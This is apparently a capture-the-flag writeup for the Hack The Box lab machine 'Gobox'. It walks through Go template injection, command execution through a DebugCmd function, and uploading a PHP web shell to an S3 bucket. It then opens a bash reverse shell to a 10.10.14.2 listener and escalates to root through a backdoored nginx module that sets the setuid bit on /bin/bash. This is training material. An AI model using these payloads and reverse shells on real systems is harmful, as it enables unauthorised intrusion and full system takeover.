Explore the fundamentals of cybersecurity in the Gobox Capture The Flag (CTF) challenge, a medium-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.

Add Hosts#

10.10.11.113 gobox.htb

Script to add hosts automatically#

ip="10.10.11.113"
domain="gobox.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping#

nmap -sCV gobox.htb

Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-30 02:46 CEST
Nmap scan report for gobox.htb (10.10.11.113)
Host is up (0.050s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT     STATE    SERVICE    VERSION
22/tcp   open     ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA)
|   256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA)
|_  256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519)
80/tcp   open     http       nginx
|_http-title: Hacking eSports | {{.Title}}
8080/tcp open     http       nginx
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Hacking eSports | Home page
9000/tcp filtered cslistener
9001/tcp filtered tor-orport
9002/tcp filtered dynamid
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Identify the Vulnerability#

  • The target site at http://gobox.htb:8080/ is running a Go-based application, as indicated by the X-Forwarded-Server: golang header in BurpSuite responses.
  • Based on the response, you’ve found that the application could be vulnerable to Server-Side Template Injection (SSTI) using Go templates.

Initial SSTI Test#

  • On the /forgot page, insert the payload {{ . }} in the email field to test for template injection.
  • If vulnerable, this will reveal Go template context variables or throw an error exposing internal details of the server.

Exploiting DebugCmd#

  • After successfully logging in with credentials sent via email from the /forgot page, the source code of the application is revealed.
  • You discover the DebugCmd function in the template engine, which allows the execution of system commands.

Test system commands using the following payloads:

{{ .DebugCmd "id" }}  // Check for user privileges
{{ .DebugCmd "env" }}  // View environment variables
{{ .DebugCmd "aws s3 ls s3://" }}  // List S3 buckets
{{ .DebugCmd "aws s3 ls s3://website" }}  // List contents of a specific bucket

Preparing the Payload#

  • The goal is to upload a PHP reverse shell to the S3 bucket via the AWS CLI exposed through DebugCmd.
  • First, generate a base64-encoded PHP reverse shell:
echo '<?php system($_GET['cmd']); ?>' | base64

This will output the encoded payload:

PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=
  • Use DebugCmd to decode and save this as a PHP file on the target system, and then upload it to the S3 bucket.
{{ .DebugCmd "echo -n PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo= | base64 -d > /tmp/evil.php" }}
{{ .DebugCmd "aws s3 cp /tmp/evil.php s3://website/evil.php" }}

Accessing the Payload#

  • Once the reverse shell script is uploaded, it can be accessed via:

http://gobox.htb/evil.php

You can then execute commands by passing the cmd parameter.

Triggering the Reverse Shell#

To establish a reverse shell, use the following bash command:

bash -c '/bin/bash -i >& /dev/tcp/10.10.14.2/9001 0>&1'

Since this needs to be URL-encoded, use sed to encode only the & and / characters:

echo -n "bash -c '/bin/bash -i >& /dev/tcp/10.10.14.2/9001 0>&1'" | sed -e 's:/:%2f:g' -e 's:&:%26:g'

Setting Up a Listener#

On your local machine, set up a listener to catch the reverse shell:

nc -lvnp 9001

Triggering the Shell#

To trigger the reverse shell, visit:

http://gobox.htb/evil.php?cmd=bash -c '%2fbin%2fbash -i >%26 %2fdev%2ftcp%2f10.10.14.2%2f9001 0>%261'

Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'

Press Ctrl+Z to background the shell, then run:

stty size; stty raw -echo; fg

As the last step, set the terminal environment:

export TERM=xterm;

Nginx Module Exploitation (ngx_http_execute_module)#

Initial Enumeration#

Retrieve the user flag from /home/ubuntu/user.txt:

cat /home/ubuntu/user.txt

Investigate Nginx configuration:

ls /etc/nginx/sites-enabled
cat /etc/nginx/sites-enabled/default

You find the custom directive command on;, which is not part of the default Nginx setup, indicating a custom module.

Identifying the Custom Module#

A Google search for command on; nginx github reveals the NginxExecute module, which allows command execution via Nginx.

Verifying the Nginx Module#

  • To confirm the presence of this module and its functionality, you inspect the Nginx module binary for references to the run function:
strings /usr/share/nginx/modules/ngx_http_execute_module.so | grep run

Command Execution#

Use the ippsec.run parameter in HTTP requests to execute system commands. Test with a basic command:

curl -g "http://127.0.0.1:8000/?ippsec.run[id]"
curl -g "http://127.0.0.1:8000/?ippsec.run[cat /root/root.txt]"

curl -g "http://127.0.0.1:8000/?ippsec.run[chmod 4755 /bin/bash]"
/bin/bash -p